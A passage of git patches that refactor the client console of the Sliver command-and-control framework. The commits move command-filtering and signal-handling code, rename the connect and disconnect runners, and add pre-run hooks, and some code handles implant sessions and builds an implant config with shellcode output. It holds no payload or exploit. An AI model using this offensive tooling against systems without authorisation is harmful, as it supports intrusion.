sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintWarnf("%s", err) + return nil + } + for _, session := range sessions.GetSessions() { + if session.Name == arg || strings.HasPrefix(session.ID, arg) { + return session + } + } + return nil +} + +// GetBeacon returns the beacon matching an ID, either by prefix or strictly. +func (con *SliverClient) GetBeacon(arg string) *clientpb.Beacon { + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintWarnf("%s", err) + return nil + } + for _, session := range beacons.GetBeacons() { + if session.Name == arg || strings.HasPrefix(session.ID, arg) { + return session + } + } + return nil +} + +// GetSessionsByName - Return all sessions for an Implant by name. +func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + fmt.Printf(Warn+"%s\n", err) + return nil + } + matched := []*clientpb.Session{} + for _, session := range sessions.GetSessions() { + if session.Name == name { + matched = append(matched, session) + } + } + return matched +} + +// GetActiveSessionConfig - Get the active sessions's config +// TODO: Switch to query config based on ConfigID. +func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { + session := con.ActiveTarget.GetSession() + if session == nil { + return nil + } + c2s := []*clientpb.ImplantC2{} + c2s = append(c2s, &clientpb.ImplantC2{ + URL: session.GetActiveC2(), + Priority: uint32(0), + }) + config := &clientpb.ImplantConfig{ + Name: session.GetName(), + GOOS: session.GetOS(), + GOARCH: session.GetArch(), + Debug: true, + Evasion: session.GetEvasion(), + + MaxConnectionErrors: uint32(1000), + ReconnectInterval: int64(60), + Format: clientpb.OutputFormat_SHELLCODE, + IsSharedLib: true, + C2: c2s, + } + return config +} + // GetSessionInteractive - Get the active target(s). func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { if s.session == nil && s.beacon == nil { @@ -197,92 +272,3 @@ func (s *ActiveTarget) Background() { s.con.App.SwitchMenu(consts.ServerMenu) } } - -// FilterCommands - The active target may have various transport stacks, -// run on different hosts and operating systems, have networking tools, etc. -// -// Given a tree of commands which may or may not all act on a given target, -// the implant adds a series of annotations and hide directives to those which -// should not be available in the current state of things. -func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { - targetFilters := s.Filters() - - for _, cmd := range rootCmd.Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } - - if isFiltered(cmd, targetFilters) { - cmd.Hidden = true - } - } -} - -// Filters returns list of constants describing which types of commands -// should NOT be available for the current target, eg. beacon commands if -// the target is a session, Windows commands if the target host is Linux. -func (s *ActiveTarget) Filters() []string { - if s.session == nil && s.beacon == nil { - return nil - } - - filters := make([]string, 0) - - // Target type. - switch { - case s.session != nil: - session := s.session - - // Forbid all beacon-only commands. - filters = append(filters, consts.BeaconCmdsFilter) - - // Operating system - if session.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if session.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - - case s.beacon != nil: - beacon := s.beacon - - // Forbid all session-only commands. - filters = append(filters, consts.SessionCmdsFilter) - - // Operating system - if beacon.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if beacon.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - } - - return filters -} - -func isFiltered(cmd *cobra.Command, targetFilters []string) bool { - if cmd.Annotations == nil { - return false - } - - // Get the filters on the command - filterStr := cmd.Annotations[console.CommandFilterKey] - filters := strings.Split(filterStr, ",") - - for _, cmdFilter := range filters { - for _, filter := range targetFilters { - if cmdFilter != "" && cmdFilter == filter { - return true - } - } - } - - return false -} From 64628c533eae52023dd398f3f47d142839e55418 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 02:52:25 +0200 Subject: [PATCH 093/124] Comment remaining client code --- client/cli/implant.go | 9 +++++++++ client/console/console.go | 2 +- client/console/readline.go | 5 +++-- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/client/cli/implant.go b/client/cli/implant.go index 6ebb1cbeb7..078746a6b0 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -17,6 +17,9 @@ import ( "github.com/reeflective/console" ) +// implantCmd returns the command tree for Sliver active targets. +// This function has not yet found its place into one of the commands subdirectories, +// since I'm not really sure how to do it in a way that would be optimal for everyone. func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Command { // Generate a not-yet filtered tree of all commands // usable in the context of an active target implant. @@ -61,6 +64,10 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co return implantCmd } +// preRunImplant returns the pre-runner to be ran before any implant-targeting command, +// to connect to the server, query the sessions/beacons and set one as the active target. +// Like implantCmd, this function can moved from here down the road, either integrated as +// a console.Client method to be used easily by the users using "custom" Go clients for some things. func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { return func(cmd *cobra.Command, args []string) error { if err := con.ConnectRun(cmd, args); err != nil { @@ -100,6 +107,8 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command. } } +// postRunImplant saves the current CLI os.Args command line to the server, so that all interactions +// with an implant from a system shell will be logged and accessible just the same as in the console. func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { return func(cmd *cobra.Command, args []string) error { var saveArgs []string diff --git a/client/console/console.go b/client/console/console.go index 3c0d922d40..12e41103ab 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -189,7 +189,7 @@ func newClient() *SliverClient { } con.App.SetPrintLogo(func(_ *console.Console) { - con.PrintLogo() + con.printLogo() }) // Readline-shell (edition) settings diff --git a/client/console/readline.go b/client/console/readline.go index ab701edb45..4e4bfd940e 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -26,6 +26,7 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -47,8 +48,8 @@ func (con *SliverClient) GetPrompt() string { return prompt } -// PrintLogo prints the Sliver console logo. -func (con *SliverClient) PrintLogo() { +// printLogo prints the Sliver console logo. +func (con *SliverClient) printLogo() { serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { panic(err.Error()) From 8040e5ffadd1b93ce5a828a6cc4b820d453773e1 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 03:53:05 +0200 Subject: [PATCH 094/124] Cleanup, slicker API, fixes and optimizations --- client/cli/cli.go | 8 +- client/cli/implant.go | 3 +- client/console/command.go | 169 ++++++++++------------------------- client/console/console.go | 6 +- client/console/implant.go | 48 ++++++++++ client/console/log.go | 16 ++-- client/console/readline.go | 111 +++++++++++++++++------ client/console/teamclient.go | 65 +++----------- server/cli/cli.go | 42 +++++++-- 9 files changed, 248 insertions(+), 220 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 15e5517fe8..53b0bf6932 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -84,15 +84,11 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command) { // system shell. It makes use of pre-runners for connecting to the server // and binding sliver commands. These same pre-runners are also used for // command completion/filtering purposes. - sliver := command.SliverCommands(con) - - root.AddCommand(implantCmd(con, sliver)) + root.AddCommand(implantCmd(con, command.SliverCommands(con))) // Pre/post runners and completions. command.BindPreRun(root, con.ConnectRun) - command.BindPostRun(root, func(_ *cobra.Command, _ []string) error { - return con.Disconnect() - }) + command.BindPostRun(root, con.PostRunDisconnect) // Generate the root completion command. carapace.Gen(root) diff --git a/client/cli/implant.go b/client/cli/implant.go index 078746a6b0..25c3c3b461 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -127,6 +127,7 @@ func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command con.ActiveTarget.SaveCommandLine(saveArgs) - return con.Disconnect() + // And disconnect from the server like for other commands. + return con.PostRunDisconnect(cmd, args) } } diff --git a/client/console/command.go b/client/console/command.go index ae34a06112..470c1ad424 100644 --- a/client/console/command.go +++ b/client/console/command.go @@ -19,19 +19,36 @@ package console */ import ( - "os" - "os/signal" "strings" - "syscall" "github.com/spf13/cobra" "github.com/reeflective/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/spin" ) +// FilterCommands - The active target may have various transport stacks, +// run on different hosts and operating systems, have networking tools, etc. +// +// Given a tree of commands which may or may not all act on a given target, +// the implant adds a series of annotations and hide directives to those which +// should not be available in the current state of things. +func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { + targetFilters := s.Filters() + + for _, cmd := range rootCmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if isFiltered(cmd, targetFilters) { + cmd.Hidden = true + } + } +} + // FilterCommands shows/hides commands if the active target does support them (or not). // Ex; to hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. // Both the cmd *cobra.Command passed and the filters can be nil, in which case the @@ -63,73 +80,45 @@ func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { } } -// FilterCommands - The active target may have various transport stacks, -// run on different hosts and operating systems, have networking tools, etc. -// -// Given a tree of commands which may or may not all act on a given target, -// the implant adds a series of annotations and hide directives to those which -// should not be available in the current state of things. -func (s *ActiveTarget) FilterCommands(rootCmd *cobra.Command) { - targetFilters := s.Filters() +// AddPreRunner should be considered part of the temporary API. +// It is used by the Sliver client to run hooks before running its own pre-connect +// handlers, and can thus be used to register server-only pre-run routines. +func (con *SliverClient) AddPreRunners(hooks ...func(_ *cobra.Command, _ []string) error) { + con.preRunners = append(con.preRunners, hooks...) +} - for _, cmd := range rootCmd.Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { +// runPreConnectHooks is also a function which might be temporary, and currently used +// to run "server-side provided" command pre-runners (for assets setup, jobs, etc) +func (con *SliverClient) runPreConnectHooks(cmd *cobra.Command, args []string) error { + for _, hook := range con.preRunners { + if hook == nil { continue } - if isFiltered(cmd, targetFilters) { - cmd.Hidden = true + if err := hook(cmd, args); err != nil { + return err } } + + return nil } -// Filters returns list of constants describing which types of commands -// should NOT be available for the current target, eg. beacon commands if -// the target is a session, Windows commands if the target host is Linux. -func (s *ActiveTarget) Filters() []string { - if s.session == nil && s.beacon == nil { - return nil +// WARN: this is the premise of a big burden. Please bear this in mind. +// If I haven't speaked to you about it, or if you're not sure of what +// that means, ping me up and ask. +func (con *SliverClient) isOffline(cmd *cobra.Command) bool { + // Teamclient configuration import does not need network. + ts, _, err := cmd.Root().Find([]string{"teamserver", "client", "import"}) + if err == nil && ts != nil && ts == cmd { + return true } - filters := make([]string, 0) - - // Target type. - switch { - case s.session != nil: - session := s.session - - // Forbid all beacon-only commands. - filters = append(filters, consts.BeaconCmdsFilter) - - // Operating system - if session.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if session.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - - case s.beacon != nil: - beacon := s.beacon - - // Forbid all session-only commands. - filters = append(filters, consts.SessionCmdsFilter) - - // Operating system - if beacon.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if beacon.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } + tc, _, err := cmd.Root().Find([]string{"teamclient", "import"}) + if err == nil && ts != nil && tc == cmd { + return true } - return filters + return false } func isFiltered(cmd *cobra.Command, targetFilters []string) bool { @@ -151,65 +140,3 @@ func isFiltered(cmd *cobra.Command, targetFilters []string) bool { return false } - -// SpinUntil starts a console display spinner in the background (non-blocking) -func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { - go spin.Until(os.Stdout, message, ctrl) -} - -// WaitSignal listens for os.Signals and returns when receiving one of the following: -// SIGINT, SIGTERM, SIGQUIT. -// -// This can be used for commands which should block if executed in an exec-once CLI run: -// if the command is ran in the closed-loop console, this function will not monitor signals -// and return immediately. -func (con *SliverClient) WaitSignal() error { - if !con.isCLI { - return nil - } - - sigchan := make(chan os.Signal, 1) - - signal.Notify( - sigchan, - syscall.SIGINT, - syscall.SIGTERM, - syscall.SIGQUIT, - // syscall.SIGKILL, - ) - - sig := <-sigchan - con.PrintInfof("Received signal %s\n", sig) - - return nil -} - -func (con *SliverClient) waitSignalOrClose() error { - if !con.isCLI { - return nil - } - - sigchan := make(chan os.Signal, 1) - - signal.Notify( - sigchan, - syscall.SIGINT, - syscall.SIGTERM, - syscall.SIGQUIT, - // syscall.SIGKILL, - ) - - if con.waitingResult == nil { - con.waitingResult = make(chan bool) - } - - select { - case sig := <-sigchan: - con.PrintInfof("Received signal %s\n", sig) - case <-con.waitingResult: - con.waitingResult = make(chan bool) - return nil - } - - return nil -} diff --git a/client/console/console.go b/client/console/console.go index 12e41103ab..e02e437956 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -105,9 +105,9 @@ type SliverClient struct { isCLI bool // Teamclient & remotes - Teamclient *client.Client - dialer *transport.TeamClient - connectHooks []func() error + Teamclient *client.Client + dialer *transport.TeamClient + preRunners []func(*cobra.Command, []string) error // Logging jsonHandler slog.Handler diff --git a/client/console/implant.go b/client/console/implant.go index 64e70f48b0..21ae1a7c8c 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -272,3 +272,51 @@ func (s *ActiveTarget) Background() { s.con.App.SwitchMenu(consts.ServerMenu) } } + +// Filters returns list of constants describing which types of commands +// should NOT be available for the current target, eg. beacon commands if +// the target is a session, Windows commands if the target host is Linux. +func (s *ActiveTarget) Filters() []string { + if s.session == nil && s.beacon == nil { + return nil + } + + filters := make([]string, 0) + + // Target type. + switch { + case s.session != nil: + session := s.session + + // Forbid all beacon-only commands. + filters = append(filters, consts.BeaconCmdsFilter) + + // Operating system + if session.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if session.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + + case s.beacon != nil: + beacon := s.beacon + + // Forbid all session-only commands. + filters = append(filters, consts.SessionCmdsFilter) + + // Operating system + if beacon.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if beacon.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + } + + return filters +} diff --git a/client/console/log.go b/client/console/log.go index f967fcddc0..852e819766 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -34,6 +34,7 @@ import ( "golang.org/x/term" "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" @@ -198,20 +199,20 @@ func getConsoleAsciicastFile() *os.File { return logFile } -// initTeamclientLog returns a logrus logger to be passed to the Sliver +// initTeamclientLog returns a logrus logger to be passed to the Sliver // team.Client for logging all client-side transport/RPC events. -func initTeamclientLog() (*logrus.Logger) { +func initTeamclientLog() *logrus.Logger { logsDir := assets.GetConsoleLogsDir() dateTime := time.Now().Format("2006-01-02_15-04-05") logPath := filepath.Join(logsDir, fmt.Sprintf("%s.log", dateTime)) textLogger := logrus.New() - textLogger.SetFormatter(&logrus.TextFormatter{}) + textLogger.SetFormatter(&logrus.TextFormatter{}) - logFile, err := os.OpenFile(logPath, os.O_APPEND | os.O_CREATE | os.O_WRONLY, 0644) + logFile, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatalf("Failed to open log file %s", err) - return textLogger + return textLogger } // Text-format logger, writing to file. @@ -322,3 +323,8 @@ func (con *SliverClient) PrintEventSuccessf(format string, args ...any) { con.printf(Clearln+"\r\n"+Success+format+"\r", args...) } + +// SpinUntil starts a console display spinner in the background (non-blocking) +func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { + go spin.Until(os.Stdout, message, ctrl) +} diff --git a/client/console/readline.go b/client/console/readline.go index 4e4bfd940e..64c92ce28c 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -23,7 +23,9 @@ import ( "fmt" insecureRand "math/rand" "os" + "os/signal" "strings" + "syscall" "github.com/AlecAivazis/survey/v2" @@ -48,32 +50,6 @@ func (con *SliverClient) GetPrompt() string { return prompt } -// printLogo prints the Sliver console logo. -func (con *SliverClient) printLogo() { - serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) - if err != nil { - panic(err.Error()) - } - dirty := "" - if serverVer.Dirty { - dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) - } - serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) - - logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] - fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) - fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") - fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) - if version.GitCommit != serverVer.Commit { - fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) - } - fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") - if serverVer.Major != int32(version.SemanticVersion()[0]) { - fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") - } - con.CheckLastUpdate() -} - // ExitConfirm tries to exit the Sliver go program. // It will prompt on stdin for confirmation if: // - The program is a Sliver server and has active slivers under management. @@ -126,6 +102,89 @@ func (con *SliverClient) ExitConfirm() { os.Exit(0) } +// WaitSignal listens for os.Signals and returns when receiving one of the following: +// SIGINT, SIGTERM, SIGQUIT. +// +// This can be used for commands which should block if executed in an exec-once CLI run: +// if the command is ran in the closed-loop console, this function will not monitor signals +// and return immediately. +func (con *SliverClient) WaitSignal() error { + if !con.isCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + sig := <-sigchan + con.PrintInfof("Received signal %s\n", sig) + + return nil +} + +func (con *SliverClient) waitSignalOrClose() error { + if !con.isCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + if con.waitingResult == nil { + con.waitingResult = make(chan bool) + } + + select { + case sig := <-sigchan: + con.PrintInfof("Received signal %s\n", sig) + case <-con.waitingResult: + con.waitingResult = make(chan bool) + return nil + } + + return nil +} + +// printLogo prints the Sliver console logo. +func (con *SliverClient) printLogo() { + serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + if err != nil { + panic(err.Error()) + } + dirty := "" + if serverVer.Dirty { + dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) + } + serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) + + logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] + fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) + fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") + fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) + if version.GitCommit != serverVer.Commit { + fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) + } + fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") + if serverVer.Major != int32(version.SemanticVersion()[0]) { + fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") + } + con.CheckLastUpdate() +} + // exitConsole prompts the user for confirmation to exit the console. func (c *SliverClient) exitConsole(_ *console.Console) { c.ExitConfirm() diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 16b5da8408..a91c912541 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -24,16 +24,17 @@ import ( "runtime" "time" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "google.golang.org/grpc" + "google.golang.org/grpc/status" + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/reeflective/team" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "google.golang.org/grpc" - "google.golang.org/grpc/status" ) // ConnectRun is a spf13/cobra-compliant runner function to be included @@ -44,7 +45,7 @@ import ( // // Note that this function will always check if it used as part of a completion // command execution call, in which case asciicast/logs streaming is disabled. -func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { +func (con *SliverClient) ConnectRun(cmd *cobra.Command, args []string) error { con.FilterCommands(cmd) // If commands are imcompatible with the current requirements. @@ -58,7 +59,7 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { return nil } - if err := con.runPreConnectHooks(); err != nil { + if err := con.runPreConnectHooks(cmd, args); err != nil { return err } @@ -99,7 +100,9 @@ func (con *SliverClient) ConnectComplete() (carapace.Action, error) { } // This almost only ever runs teamserver-side pre-runs. - err := con.runPreConnectHooks() + // We don't need to pass a command to this call, since + // it does call hooks that should handle nil commands. + err := con.runPreConnectHooks(nil, nil) if err != nil { return carapace.ActionMessage("connection error: %s", err), err } @@ -116,11 +119,11 @@ func (con *SliverClient) ConnectComplete() (carapace.Action, error) { return carapace.ActionValues(), nil } -// Disconnect disconnects the client from its Sliver server, -// closing all its event/log streams and files, then closing -// the core Sliver RPC client connection. +// PostRunDisconnect disconnects the client from its Sliver server, +// closing all its event/log streams and files, then closing the core +// Sliver RPC client connection. This should be ran as a post-runner. // After this call, the client can reconnect should it want to. -func (con *SliverClient) Disconnect() error { +func (con *SliverClient) PostRunDisconnect(cmd *cobra.Command, args []string) error { // Close all RPC streams and local files. con.closeClientStreams() @@ -128,14 +131,6 @@ func (con *SliverClient) Disconnect() error { return con.Teamclient.Disconnect() } -// AddConnectHooks should be considered part of the temporary API. -// It is used to all the Sliver client to run hooks before running -// its own pre-connect handlers, and can thus be used to register -// server-only pre-run routines. -func (con *SliverClient) AddConnectHooks(hooks ...func() error) { - con.connectHooks = append(con.connectHooks, hooks...) -} - // Users returns a list of all users registered with the app teamserver. // If the gRPC teamclient is not connected or does not have an RPC client, // an ErrNoRPC is returned. @@ -231,35 +226,3 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { histAll.Close() }) } - -func (con *SliverClient) runPreConnectHooks() error { - for _, hook := range con.connectHooks { - if hook == nil { - continue - } - - if err := hook(); err != nil { - return err - } - } - - return nil -} - -// WARN: this is the premise of a big burden. Please bear this in mind. -// If I haven't speaked to you about it, or if you're not sure of what -// that means, ping me up and ask. -func (con *SliverClient) isOffline(cmd *cobra.Command) bool { - // Teamclient configuration import does not need network. - ts, _, err := cmd.Root().Find([]string{"teamserver", "client", "import"}) - if err == nil && ts != nil && ts == cmd { - return true - } - - tc, _, err := cmd.Root().Find([]string{"teamclient", "import"}) - if err == nil && ts != nil && tc == cmd { - return true - } - - return false -} diff --git a/server/cli/cli.go b/server/cli/cli.go index 4fc2bb6333..9f6b63051a 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -63,10 +63,6 @@ func Execute() { panic(err) } - // The server is also a client of itself, so add our sliver-server - // binary specific pre-run hooks: assets, encoders, toolchains, etc. - con.AddConnectHooks(preRunServer(teamserver, con)) - // Generate our complete Sliver Framework command-line interface. rootCmd := sliverServerCLI(teamserver, con) @@ -113,11 +109,13 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra // need one connection for the entire lifetime of the console. root.AddCommand(consoleCmd.Command(con, server)) + // The server is also a client of itself, so add our sliver-server + // binary specific pre-run hooks: assets, encoders, toolchains, etc. + con.AddPreRunners(preRunServerS(team, con)) + // Pre/post runners and completions. clientCommand.BindPreRun(root, con.ConnectRun) - clientCommand.BindPostRun(root, func(_ *cobra.Command, _ []string) error { - return con.Disconnect() - }) + clientCommand.BindPostRun(root, con.PostRunDisconnect) // Generate the root completion command. carapace.Gen(root) @@ -125,6 +123,36 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra return root } +func preRunServerS(teamserver *server.Server, con *client.SliverClient) clientCommand.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + // All commands of the teamserver binary + // must always have at least these working. + assets.Setup(false, true) + encoders.Setup() + certs.SetupCAs() + certs.SetupWGKeys() + cryptography.AgeServerKeyPair() + cryptography.MinisignServerPrivateKey() + + // But we don't start Sliver-specific C2 listeners unless + // we are being ran in daemon mode, or in the console. + // We don't always have access to a command, such when + if cmd != nil { + if (cmd.Name() == "daemon" && cmd.Parent().Name() == "teamserver") || + cmd.Name() == "console" { + serverConfig := configs.GetServerConfig() + err := c2.StartPersistentJobs(serverConfig) + if err != nil { + con.PrintWarnf("Persistent jobs restart error: %s", err) + } + } + + } + // Let our in-memory teamclient be served. + return teamserver.Serve(con.Teamclient) + } +} + // preRunServer is the server-binary-specific pre-run; it ensures that the server // has everything it needs to perform any client-side command/task. func preRunServer(teamserver *server.Server, con *client.SliverClient) func() error { From 6e685e9c03a970b755b789f966707fce1671d13a Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 04:27:37 +0200 Subject: [PATCH 095/124] Rename some function better, update dependencies with fix. --- client/cli/cli.go | 2 +- client/cli/implant.go | 2 +- client/command/beacons/commands.go | 2 +- client/command/crack/helpers.go | 6 +-- client/command/creds/creds.go | 4 +- client/command/generate/helpers.go | 14 +++---- client/command/generate/implants.go | 2 +- client/command/generate/profiles.go | 2 +- client/command/jobs/jobs.go | 2 +- client/command/pivots/helpers.go | 2 +- client/command/rportfwd/portfwd.go | 2 +- client/command/sessions/helpers.go | 2 +- client/command/tasks/helpers.go | 4 +- client/command/websites/websites.go | 2 +- client/command/wireguard/wg-portfwd-rm.go | 2 +- client/command/wireguard/wg-socks.go | 2 +- client/console/command.go | 2 +- client/console/console.go | 1 + client/console/teamclient.go | 9 ++--- go.mod | 2 +- go.sum | 4 +- server/cli/cli.go | 40 +++++++++---------- .../team/client/commands/commands.go | 5 +-- .../team/client/commands/import.go | 5 +-- .../reeflective/team/client/commands/users.go | 5 +-- .../team/client/commands/version.go | 5 +-- .../team/server/commands/commands.go | 21 +++++++--- .../team/server/commands/completers.go | 3 +- .../team/server/commands/teamserver.go | 7 ++-- .../reeflective/team/server/commands/user.go | 5 +-- .../reeflective/team/server/server.go | 2 +- vendor/modules.txt | 2 +- 32 files changed, 86 insertions(+), 84 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 53b0bf6932..ae67018a40 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -87,7 +87,7 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command) { root.AddCommand(implantCmd(con, command.SliverCommands(con))) // Pre/post runners and completions. - command.BindPreRun(root, con.ConnectRun) + command.BindPreRun(root, con.PreRunConnect) command.BindPostRun(root, con.PostRunDisconnect) // Generate the root completion command. diff --git a/client/cli/implant.go b/client/cli/implant.go index 25c3c3b461..a2899c9f7c 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -70,7 +70,7 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co // a console.Client method to be used easily by the users using "custom" Go clients for some things. func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { return func(cmd *cobra.Command, args []string) error { - if err := con.ConnectRun(cmd, args); err != nil { + if err := con.PreRunConnect(cmd, args); err != nil { return err } diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index 78885af22f..a6599eb145 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -82,7 +82,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { // BeaconIDCompleter completes beacon IDs. func BeaconIDCompleter(con *console.SliverClient) carapace.Action { callback := func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index 6841d10b41..026da296e9 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -13,7 +13,7 @@ import ( func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -40,7 +40,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -68,7 +68,7 @@ func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { func CrackRulesCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 1253416021..1c764e0a5d 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -113,7 +113,7 @@ func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { // CredsCollectionCompleter completes existing creds collection names. func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -140,7 +140,7 @@ func CredsCollectionCompleter(con 